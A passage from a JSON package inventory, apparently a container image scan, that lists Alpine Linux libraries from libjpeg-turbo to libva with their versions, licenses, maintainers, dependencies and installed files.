"apk" }, { "ID": "libjpeg-turbo@3.1.3-r0", "Name": "libjpeg-turbo", "Identifier": { "PURL": "pkg:apk/alpine/libjpeg-turbo@3.1.3-r0?arch=x86_64\u0026distro=3.24.1", "UID": "a472b676242879dd" }, "Version": "3.1.3-r0", "Arch": "x86_64", "SrcName": "libjpeg-turbo", "SrcVersion": "3.1.3-r0", "Licenses": [ "BSD-3-Clause", "IJG", "Zlib" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:5e85183c052743916cd987c8c305b7709accbbd9", "InstalledFiles": [ "usr/lib/libjpeg.so.8", "usr/lib/libjpeg.so.8.3.2" ], "AnalyzedBy": "apk" }, { "ID": "libjxl@0.11.2-r1", "Name": "libjxl", "Identifier": { "PURL": "pkg:apk/alpine/libjxl@0.11.2-r1?arch=x86_64\u0026distro=3.24.1", "UID": "d8d76601cbadced" }, "Version": "0.11.2-r1", "Arch": "x86_64", "SrcName": "libjxl", "SrcVersion": "0.11.2-r1", "Licenses": [ "Apache-2.0" ], "Maintainer": "Alex Xu (Hello71) \u003calex_y_xu@yahoo.ca\u003e", "DependsOn": [ "brotli-libs@1.2.0-r1", "lcms2@2.19-r0", "libhwy@1.3.0-r0", "libstdc++@15.2.0-r5", "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:d33fd2c1e7eaacb140ddf4b9d8680f2116ce9edb", "InstalledFiles": [ "usr/lib/libjxl.so.0.11", "usr/lib/libjxl.so.0.11.2", "usr/lib/libjxl_cms.so.0.11", "usr/lib/libjxl_cms.so.0.11.2", "usr/lib/libjxl_threads.so.0.11", "usr/lib/libjxl_threads.so.0.11.2", "usr/share/mime/packages/image-jxl.xml" ], "AnalyzedBy": "apk" }, { "ID": "libltdl@2.6.0-r1", "Name": "libltdl", "Identifier": { "PURL": "pkg:apk/alpine/libltdl@2.6.0-r1?arch=x86_64\u0026distro=3.24.1", "UID": "8f5665ff9504d8ce" }, "Version": "2.6.0-r1", "Arch": "x86_64", "SrcName": "libtool", "SrcVersion": "2.6.0-r1", "Licenses": [ "LGPL-2.0-or-later", "GPL-2.0-or-later" ], "Maintainer": "Achill Gilgenast \u003cachill@achill.org\u003e", "DependsOn": [ "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:c4dfde951a9074218c0d06060e4fe60638feb6b2", "InstalledFiles": [ "usr/lib/libltdl.so", "usr/lib/libltdl.so.7", "usr/lib/libltdl.so.7.3.5" ], "AnalyzedBy": "apk" }, { "ID": "libmd@1.2.0-r0", "Name": "libmd", "Identifier": { "PURL": "pkg:apk/alpine/libmd@1.2.0-r0?arch=x86_64\u0026distro=3.24.1", "UID": "de438e0299aa3a02" }, "Version": "1.2.0-r0", "Arch": "x86_64", "SrcName": "libmd", "SrcVersion": "1.2.0-r0", "Licenses": [ "BSD-3-Clause", "BSD-2-Clause", "ISC", "Beerware", "Public", "Domain" ], "Maintainer": "omni \u003comni+alpine@hack.org\u003e", "DependsOn": [ "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:3478a5f1c2bb99b8e01fe9f04d175c2ae86e0bf3", "InstalledFiles": [ "usr/lib/libmd.so.0", "usr/lib/libmd.so.0.2.0" ], "AnalyzedBy": "apk" }, { "ID": "libmount@2.42.1-r0", "Name": "libmount", "Identifier": { "PURL": "pkg:apk/alpine/libmount@2.42.1-r0?arch=x86_64\u0026distro=3.24.1", "UID": "c798f816f67f2112" }, "Version": "2.42.1-r0", "Arch": "x86_64", "SrcName": "util-linux", "SrcVersion": "2.42.1-r0", "Licenses": [ "LGPL-2.1-or-later" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "libblkid@2.42.1-r0", "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:3528cb3528b63b4bc0a39e8e81bf8969e85daba0", "InstalledFiles": [ "usr/lib/libmount.so.1", "usr/lib/libmount.so.1.1.0" ], "AnalyzedBy": "apk" }, { "ID": "libncursesw@6.6_p20260516-r0", "Name": "libncursesw", "Identifier": { "PURL": "pkg:apk/alpine/libncursesw@6.6_p20260516-r0?arch=x86_64\u0026distro=3.24.1", "UID": "e8939f45e2191bcc" }, "Version": "6.6_p20260516-r0", "Arch": "x86_64", "SrcName": "ncurses", "SrcVersion": "6.6_p20260516-r0", "Licenses": [ "X-11" ], "Maintainer": "Milan P. Stanić \u003cmps@arvanta.net\u003e", "DependsOn": [ "musl@1.2.6-r2", "ncurses-terminfo-base@6.6_p20260516-r0" ], "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "Digest": "sha1:9f318e6e324d6827274829194cf6ac6afbaded12", "InstalledFiles": [ "usr/lib/libncursesw.so.6", "usr/lib/libncursesw.so.6.6" ], "AnalyzedBy": "apk" }, { "ID": "libogg@1.3.6-r0", "Name": "libogg", "Identifier": { "PURL": "pkg:apk/alpine/libogg@1.3.6-r0?arch=x86_64\u0026distro=3.24.1", "UID": "ce6282e38ed503de" }, "Version": "1.3.6-r0", "Arch": "x86_64", "SrcName": "libogg", "SrcVersion": "1.3.6-r0", "Licenses": [ "BSD-3-Clause" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:55a113e41cfa6a4978709d4634abb3600c0d7c3c", "InstalledFiles": [ "usr/lib/libogg.so.0", "usr/lib/libogg.so.0.8.6" ], "AnalyzedBy": "apk" }, { "ID": "libopenmpt@0.8.7-r0", "Name": "libopenmpt", "Identifier": { "PURL": "pkg:apk/alpine/libopenmpt@0.8.7-r0?arch=x86_64\u0026distro=3.24.1", "UID": "c8934343b16d3a85" }, "Version": "0.8.7-r0", "Arch": "x86_64", "SrcName": "libopenmpt", "SrcVersion": "0.8.7-r0", "Licenses": [ "BSD-3-Clause" ], "Maintainer": "knuxify \u003cknuxify@gmail.com\u003e", "DependsOn": [ "libgcc@15.2.0-r5", "libstdc++@15.2.0-r5", "libvorbis@1.3.7-r2", "mpg123-libs@1.33.5-r0", "musl@1.2.6-r2", "zlib@1.3.2-r0" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:c7662febe97971cf82b553676ab31091bfb9bb75", "InstalledFiles": [ "usr/lib/libopenmpt.so.0", "usr/lib/libopenmpt.so.0.5.5" ], "AnalyzedBy": "apk" }, { "ID": "libpanelw@6.6_p20260516-r0", "Name": "libpanelw", "Identifier": { "PURL": "pkg:apk/alpine/libpanelw@6.6_p20260516-r0?arch=x86_64\u0026distro=3.24.1", "UID": "ef1ad9bb256b373" }, "Version": "6.6_p20260516-r0", "Arch": "x86_64", "SrcName": "ncurses", "SrcVersion": "6.6_p20260516-r0", "Licenses": [ "X-11" ], "Maintainer": "Milan P. Stanić \u003cmps@arvanta.net\u003e", "DependsOn": [ "libncursesw@6.6_p20260516-r0", "musl@1.2.6-r2", "ncurses-terminfo-base@6.6_p20260516-r0" ], "Layer": { "DiffID": "sha256:3a1c849b0505129399362d23f774eb8460fdfce3e2539f2992f49c9e253aace1" }, "Digest": "sha1:149bdc434232ed11fc5bb975ba519a07154a6f56", "InstalledFiles": [ "usr/lib/libpanelw.so.6", "usr/lib/libpanelw.so.6.6" ], "AnalyzedBy": "apk" }, { "ID": "libpcap@1.10.6-r1", "Name": "libpcap", "Identifier": { "PURL": "pkg:apk/alpine/libpcap@1.10.6-r1?arch=x86_64\u0026distro=3.24.1", "UID": "50243eb62e8dbc30" }, "Version": "1.10.6-r1", "Arch": "x86_64", "SrcName": "libpcap", "SrcVersion": "1.10.6-r1", "Licenses": [ "BSD-3-Clause" ], "Maintainer": "omni \u003comni+alpine@hack.org\u003e", "DependsOn": [ "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:b2bea3a82ddcb273cd621580b3c30bb13f0f1b96", "InstalledFiles": [ "usr/lib/libpcap.so.1", "usr/lib/libpcap.so.1.10.6" ], "AnalyzedBy": "apk" }, { "ID": "libpciaccess@0.19-r0", "Name": "libpciaccess", "Identifier": { "PURL": "pkg:apk/alpine/libpciaccess@0.19-r0?arch=x86_64\u0026distro=3.24.1", "UID": "6461fc5ace3691d1" }, "Version": "0.19-r0", "Arch": "x86_64", "SrcName": "libpciaccess", "SrcVersion": "0.19-r0", "Licenses": [ "X-11" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "hwdata-pci@0.408-r0", "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:b8bd822b41f7d8944b81483daad58b33646e0df8", "InstalledFiles": [ "usr/lib/libpciaccess.so.0", "usr/lib/libpciaccess.so.0.11.1" ], "AnalyzedBy": "apk" }, { "ID": "libplacebo@7.360.1-r0", "Name": "libplacebo", "Identifier": { "PURL": "pkg:apk/alpine/libplacebo@7.360.1-r0?arch=x86_64\u0026distro=3.24.1", "UID": "c6de4b05c031e5d1" }, "Version": "7.360.1-r0", "Arch": "x86_64", "SrcName": "libplacebo", "SrcVersion": "7.360.1-r0", "Licenses": [ "LGPL-2.1-or-later" ], "Maintainer": "Simon Zeni \u003csimon@bl4ckb0ne.ca\u003e", "DependsOn": [ "glslang-libs@1.4.341.0-r0", "lcms2@2.19-r0", "libdovi@3.3.2-r0", "libgcc@15.2.0-r5", "libstdc++@15.2.0-r5", "musl@1.2.6-r2", "shaderc@2026.1-r0", "vulkan-loader@1.4.347-r0" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:f1478e91943f9a8b7f1ca6e40dfe1428365ccb37", "InstalledFiles": [ "usr/lib/libplacebo.so.360" ], "AnalyzedBy": "apk" }, { "ID": "libpng@1.6.58-r1", "Name": "libpng", "Identifier": { "PURL": "pkg:apk/alpine/libpng@1.6.58-r1?arch=x86_64\u0026distro=3.24.1", "UID": "5b702c6b0c8725ba" }, "Version": "1.6.58-r1", "Arch": "x86_64", "SrcName": "libpng", "SrcVersion": "1.6.58-r1", "Licenses": [ "Libpng" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.6-r2", "zlib@1.3.2-r0" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:c2cc409de1b5d214d7f208c72be53e7da17d5ea6", "InstalledFiles": [ "usr/lib/libpng16.so.16", "usr/lib/libpng16.so.16.58.0" ], "AnalyzedBy": "apk" }, { "ID": "libpsl@0.21.5-r3", "Name": "libpsl", "Identifier": { "PURL": "pkg:apk/alpine/libpsl@0.21.5-r3?arch=x86_64\u0026distro=3.24.1", "UID": "7879224d01df05c2" }, "Version": "0.21.5-r3", "Arch": "x86_64", "SrcName": "libpsl", "SrcVersion": "0.21.5-r3", "Licenses": [ "MIT" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "libidn2@2.3.8-r0", "libunistring@1.4.2-r0", "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "Digest": "sha1:a551ddd5d6cb3913e1a1f47b02f21ae068b5e90a", "InstalledFiles": [ "usr/lib/libpsl.so.5", "usr/lib/libpsl.so.5.3.5" ], "AnalyzedBy": "apk" }, { "ID": "libpulse@17.0-r7", "Name": "libpulse", "Identifier": { "PURL": "pkg:apk/alpine/libpulse@17.0-r7?arch=x86_64\u0026distro=3.24.1", "UID": "82eab3eec63d22ba" }, "Version": "17.0-r7", "Arch": "x86_64", "SrcName": "pulseaudio", "SrcVersion": "17.0-r7", "Licenses": [ "LGPL-2.1-or-later" ], "Maintainer": "Pablo Correa Gomez \u003cpabloyoyoista@postmarketos.org\u003e", "DependsOn": [ "dbus-libs@1.16.2-r2", "libasyncns@0.8-r5", "libintl@1.0-r0", "libltdl@2.6.0-r1", "libsndfile@1.2.2-r2", "libx11@1.8.13-r0", "libxcb@1.17.0-r2", "musl@1.2.6-r2", "orc@0.4.41-r0", "soxr@0.1.3-r7", "speexdsp@1.2.1-r2", "tdb-libs@1.4.15-r1" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:f455f4e46106e75baa84a7db8857723d142d4eca", "InstalledFiles": [ "etc/pulse/client.conf", "usr/lib/libpulse-simple.so.0", "usr/lib/libpulse-simple.so.0.1.1", "usr/lib/libpulse.so.0", "usr/lib/libpulse.so.0.24.3", "usr/lib/pulseaudio/libpulsecommon-17.0.so", "usr/lib/pulseaudio/libpulsecore-17.0.so", "usr/lib/pulseaudio/libpulsedsp.so" ], "AnalyzedBy": "apk" }, { "ID": "librist@0.2.15-r0", "Name": "librist", "Identifier": { "PURL": "pkg:apk/alpine/librist@0.2.15-r0?arch=x86_64\u0026distro=3.24.1", "UID": "e080a8ad45c42b95" }, "Version": "0.2.15-r0", "Arch": "x86_64", "SrcName": "librist", "SrcVersion": "0.2.15-r0", "Licenses": [ "BSD-2-Clause" ], "Maintainer": "Kevin Wang \u003ckevin@muxable.com\u003e", "DependsOn": [ "cjson@1.7.19-r1", "mbedtls3@3.6.6-r0", "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:205a0aecedd3c05bdf4f62817332db751bbc0af5", "InstalledFiles": [ "usr/lib/librist.so.4", "usr/lib/librist.so.4.6.3" ], "AnalyzedBy": "apk" }, { "ID": "libsharpyuv@1.6.0-r0", "Name": "libsharpyuv", "Identifier": { "PURL": "pkg:apk/alpine/libsharpyuv@1.6.0-r0?arch=x86_64\u0026distro=3.24.1", "UID": "e5ebbb93fa60e236" }, "Version": "1.6.0-r0", "Arch": "x86_64", "SrcName": "libwebp", "SrcVersion": "1.6.0-r0", "Licenses": [ "BSD-3-Clause" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:b6b67d8faf3331da87f2d4bf44268a63fc189249", "InstalledFiles": [ "usr/lib/libsharpyuv.so.0", "usr/lib/libsharpyuv.so.0.1.2" ], "AnalyzedBy": "apk" }, { "ID": "libsndfile@1.2.2-r2", "Name": "libsndfile", "Identifier": { "PURL": "pkg:apk/alpine/libsndfile@1.2.2-r2?arch=x86_64\u0026distro=3.24.1", "UID": "460f9b394401b9e7" }, "Version": "1.2.2-r2", "Arch": "x86_64", "SrcName": "libsndfile", "SrcVersion": "1.2.2-r2", "Licenses": [ "LGPL-2.1-or-later" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "alsa-lib@1.2.15.3-r0", "lame-libs@3.100-r5", "libflac@1.4.3-r2", "libogg@1.3.6-r0", "libvorbis@1.3.7-r2", "mpg123-libs@1.33.5-r0", "musl@1.2.6-r2", "opus@1.6.1-r0" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:8609db5b1b6a14681ca58e0ce22ba06f302772f4", "InstalledFiles": [ "usr/bin/sndfile-cmp", "usr/bin/sndfile-concat", "usr/bin/sndfile-convert", "usr/bin/sndfile-deinterleave", "usr/bin/sndfile-info", "usr/bin/sndfile-interleave", "usr/bin/sndfile-metadata-get", "usr/bin/sndfile-metadata-set", "usr/bin/sndfile-play", "usr/bin/sndfile-salvage", "usr/lib/libsndfile.so.1", "usr/lib/libsndfile.so.1.0.37" ], "AnalyzedBy": "apk" }, { "ID": "libsodium@1.0.22-r0", "Name": "libsodium", "Identifier": { "PURL": "pkg:apk/alpine/libsodium@1.0.22-r0?arch=x86_64\u0026distro=3.24.1", "UID": "d81814579422419b" }, "Version": "1.0.22-r0", "Arch": "x86_64", "SrcName": "libsodium", "SrcVersion": "1.0.22-r0", "Licenses": [ "ISC" ], "Maintainer": "Daniel Néri \u003cdne+alpine@mayonnaise.net\u003e", "DependsOn": [ "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:e5bfa7b8c7e0639f44d57d4aaac2621e46523aad", "InstalledFiles": [ "usr/lib/libsodium.so.26", "usr/lib/libsodium.so.26.4.0" ], "AnalyzedBy": "apk" }, { "ID": "libsrt@1.5.3-r1", "Name": "libsrt", "Identifier": { "PURL": "pkg:apk/alpine/libsrt@1.5.3-r1?arch=x86_64\u0026distro=3.24.1", "UID": "9077a3fac34b762d" }, "Version": "1.5.3-r1", "Arch": "x86_64", "SrcName": "libsrt", "SrcVersion": "1.5.3-r1", "Licenses": [ "MPL-2.0" ], "Maintainer": "Yohann DANELLO \u003cyohann.danello@crans.org\u003e", "DependsOn": [ "libcrypto3@3.5.7-r0", "libgcc@15.2.0-r5", "libstdc++@15.2.0-r5", "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:b8ededb51330333b684c87e33bdf36ebb0a8a559", "InstalledFiles": [ "usr/lib/libsrt.so.1.5", "usr/lib/libsrt.so.1.5.3" ], "AnalyzedBy": "apk" }, { "ID": "libssh@0.12.0-r0", "Name": "libssh", "Identifier": { "PURL": "pkg:apk/alpine/libssh@0.12.0-r0?arch=x86_64\u0026distro=3.24.1", "UID": "831593c62bd18408" }, "Version": "0.12.0-r0", "Arch": "x86_64", "SrcName": "libssh", "SrcVersion": "0.12.0-r0", "Licenses": [ "LGPL-2.1-or-later", "BSD-2-Clause" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "libcrypto3@3.5.7-r0", "musl@1.2.6-r2", "zlib@1.3.2-r0" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:0f61c9fa7bbe8d77c62d97a2a848bf77a61f049b", "InstalledFiles": [ "usr/lib/libssh.so.4", "usr/lib/libssh.so.4.11.0" ], "AnalyzedBy": "apk" }, { "ID": "libssh2@1.11.1-r3", "Name": "libssh2", "Identifier": { "PURL": "pkg:apk/alpine/libssh2@1.11.1-r3?arch=x86_64\u0026distro=3.24.1", "UID": "de4f8f5eed597926" }, "Version": "1.11.1-r3", "Arch": "x86_64", "SrcName": "libssh2", "SrcVersion": "1.11.1-r3", "Licenses": [ "BSD-3-Clause" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "libcrypto3@3.5.7-r0", "musl@1.2.6-r2", "zlib@1.3.2-r0" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:702e12e8d8b88edcb516d67c0c6b24d51740c15f", "InstalledFiles": [ "usr/lib/libssh2.so.1", "usr/lib/libssh2.so.1.0.1" ], "AnalyzedBy": "apk" }, { "ID": "libssl3@3.5.7-r0", "Name": "libssl3", "Identifier": { "PURL": "pkg:apk/alpine/libssl3@3.5.7-r0?arch=x86_64\u0026distro=3.24.1", "UID": "a25152af95b643e0" }, "Version": "3.5.7-r0", "Arch": "x86_64", "SrcName": "openssl", "SrcVersion": "3.5.7-r0", "Licenses": [ "Apache-2.0" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "libcrypto3@3.5.7-r0", "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:34884abbe92863fce933ed7c39c0e045631af0ed86d5cc0dfbdf9fdca426ce3c" }, "Digest": "sha1:240c8252d1ca145873c03c997966698eb509f745", "InstalledFiles": [ "usr/lib/libssl.so.3" ], "AnalyzedBy": "apk" }, { "ID": "libstdc++@15.2.0-r5", "Name": "libstdc++", "Identifier": { "PURL": "pkg:apk/alpine/libstdc%2B%2B@15.2.0-r5?arch=x86_64\u0026distro=3.24.1", "UID": "2eed307edf277aae" }, "Version": "15.2.0-r5", "Arch": "x86_64", "SrcName": "gcc", "SrcVersion": "15.2.0-r5", "Licenses": [ "GPL-2.0-or-later", "LGPL-2.1-or-later" ], "Maintainer": "Ariadne Conill \u003cariadne@dereferenced.org\u003e", "DependsOn": [ "libgcc@15.2.0-r5", "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "Digest": "sha1:5f7a2ad7646128ba02cc0d6fb94672b6845648d5", "InstalledFiles": [ "usr/lib/libstdc++.so.6", "usr/lib/libstdc++.so.6.0.34" ], "AnalyzedBy": "apk" }, { "ID": "libtheora@1.2.0-r1", "Name": "libtheora", "Identifier": { "PURL": "pkg:apk/alpine/libtheora@1.2.0-r1?arch=x86_64\u0026distro=3.24.1", "UID": "ebe8301544d403c4" }, "Version": "1.2.0-r1", "Arch": "x86_64", "SrcName": "libtheora", "SrcVersion": "1.2.0-r1", "Licenses": [ "BSD-3-Clause" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "libogg@1.3.6-r0", "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:4e22a632309797f6be838e0751c044da00641b27", "InstalledFiles": [ "usr/lib/libtheora.so.1", "usr/lib/libtheora.so.1.4.1", "usr/lib/libtheoradec.so.2", "usr/lib/libtheoradec.so.2.1.1", "usr/lib/libtheoraenc.so.2", "usr/lib/libtheoraenc.so.2.2.1" ], "AnalyzedBy": "apk" }, { "ID": "libturbojpeg@3.1.3-r0", "Name": "libturbojpeg", "Identifier": { "PURL": "pkg:apk/alpine/libturbojpeg@3.1.3-r0?arch=x86_64\u0026distro=3.24.1", "UID": "cf0ddfe3bae464a9" }, "Version": "3.1.3-r0", "Arch": "x86_64", "SrcName": "libjpeg-turbo", "SrcVersion": "3.1.3-r0", "Licenses": [ "BSD-3-Clause", "IJG", "Zlib" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:d7e06c22679e77c5356a79527410502eb317747f", "InstalledFiles": [ "usr/lib/libturbojpeg.so.0", "usr/lib/libturbojpeg.so.0.4.0" ], "AnalyzedBy": "apk" }, { "ID": "libudfread@1.2.0-r1", "Name": "libudfread", "Identifier": { "PURL": "pkg:apk/alpine/libudfread@1.2.0-r1?arch=x86_64\u0026distro=3.24.1", "UID": "b1726698b58a1725" }, "Version": "1.2.0-r1", "Arch": "x86_64", "SrcName": "libudfread", "SrcVersion": "1.2.0-r1", "Licenses": [ "LGPL-2.1-or-later" ], "Maintainer": "Achill Gilgenast \u003cachill@achill.org\u003e", "DependsOn": [ "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:bda6e2c2b8e5807793b1d2806b29ba2a2a63703e", "InstalledFiles": [ "usr/lib/libudfread.so.3", "usr/lib/libudfread.so.3.0.0" ], "AnalyzedBy": "apk" }, { "ID": "libunibreak@6.1-r0", "Name": "libunibreak", "Identifier": { "PURL": "pkg:apk/alpine/libunibreak@6.1-r0?arch=x86_64\u0026distro=3.24.1", "UID": "f03a54fe0dad994b" }, "Version": "6.1-r0", "Arch": "x86_64", "SrcName": "libunibreak", "SrcVersion": "6.1-r0", "Licenses": [ "Zlib" ], "Maintainer": "Krassy Boykinov \u003ckboykinov@teamcentrixx.com\u003e", "DependsOn": [ "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:f701b05e3412a4f5eb1f46eeb0dfd63f5ae0a0e5", "InstalledFiles": [ "usr/lib/libunibreak.so.6", "usr/lib/libunibreak.so.6.0.1" ], "AnalyzedBy": "apk" }, { "ID": "libunistring@1.4.2-r0", "Name": "libunistring", "Identifier": { "PURL": "pkg:apk/alpine/libunistring@1.4.2-r0?arch=x86_64\u0026distro=3.24.1", "UID": "b5ad22f7f34d881f" }, "Version": "1.4.2-r0", "Arch": "x86_64", "SrcName": "libunistring", "SrcVersion": "1.4.2-r0", "Licenses": [ "GPL-2.0-or-later", "LGPL-3.0-or-later" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "Digest": "sha1:f509c801d070f8ea9f7400d5093c888ff1fee02e", "InstalledFiles": [ "usr/lib/libunistring.so.5", "usr/lib/libunistring.so.5.2.1" ], "AnalyzedBy": "apk" }, { "ID": "libusb@1.0.30-r0", "Name": "libusb", "Identifier": { "PURL": "pkg:apk/alpine/libusb@1.0.30-r0?arch=x86_64\u0026distro=3.24.1", "UID": "ca0685c00b388403" }, "Version": "1.0.30-r0", "Arch": "x86_64", "SrcName": "libusb", "SrcVersion": "1.0.30-r0", "Licenses": [ "LGPL-2.1-or-later" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:d4e50f359b1b5f935f9f7c1e51eac2a9baacf358", "InstalledFiles": [ "usr/lib/libusb-1.0.so.0", "usr/lib/libusb-1.0.so.0.6.0" ], "AnalyzedBy": "apk" }, { "ID": "libuuid@2.42-r0", "Name": "libuuid", "Identifier": { "PURL": "pkg:apk/alpine/libuuid@2.42-r0?arch=x86_64\u0026distro=3.24.1", "UID": "b18737507af34cd6" }, "Version": "2.42-r0", "Arch": "x86_64", "SrcName": "util-linux", "SrcVersion": "2.42-r0", "Licenses": [ "BSD-3-Clause" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:3a1c849b0505129399362d23f774eb8460fdfce3e2539f2992f49c9e253aace1" }, "Digest": "sha1:0f55eecb7a79067e4a476abd210957988aca2a91", "InstalledFiles": [ "usr/lib/libuuid.so.1", "usr/lib/libuuid.so.1.3.0" ], "AnalyzedBy": "apk" }, { "ID": "libuv@1.52.1-r0", "Name": "libuv", "Identifier": { "PURL": "pkg:apk/alpine/libuv@1.52.1-r0?arch=x86_64\u0026distro=3.24.1", "UID": "9585f3d287414008" }, "Version": "1.52.1-r0", "Arch": "x86_64", "SrcName": "libuv", "SrcVersion": "1.52.1-r0", "Licenses": [ "MIT" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "Digest": "sha1:86d1ed686bb9dbac796572c1a6f39400ed69000d", "InstalledFiles": [ "usr/lib/libuv.so.1", "usr/lib/libuv.so.1.0.0", "usr/share/licenses/libuv/LICENSE" ], "AnalyzedBy": "apk" }, { "ID": "libva@2.23.0-r0", "Name": "libva", "Identifier": { "PURL": "pkg:apk/alpine/libva@2.23.0-r0?arch=x86_64\u0026distro=3.24.1", "UID": "522b1ecc5b7f92fe" }, "Version": "2.23.0-r0", "Arch": "x86_64", "SrcName": "libva", "SrcVersion": "2.23.0-r0", "Licenses": [ "MIT" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "libdrm@2.4.134-r0", "libx11@1.8.13-r0", "libxcb@1.17.0-r2", "libxext@1.3.7-r0", "libxfixes@6.0.2-r0", "musl@1.2.6-r2", "wayland-libs-client@1.25.0-r0" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:282c887f27c3a451fa942b67a756f17c8ee99754", "InstalledFiles": [ "usr/lib/libva-drm.so.2", "usr/lib/libva-drm.so.2.2300.0", "usr/lib/libva-wayland.so.2", "usr/lib/libva-wayland.so.2.2300.0", "usr/lib/libva-x11.so.2", "usr/lib/libva-x11.so.2.2300.0", "usr/lib/libva.so.2", "usr/lib/libva.so.2.2300.0" ], "AnalyzedBy": "apk" }, { "ID": 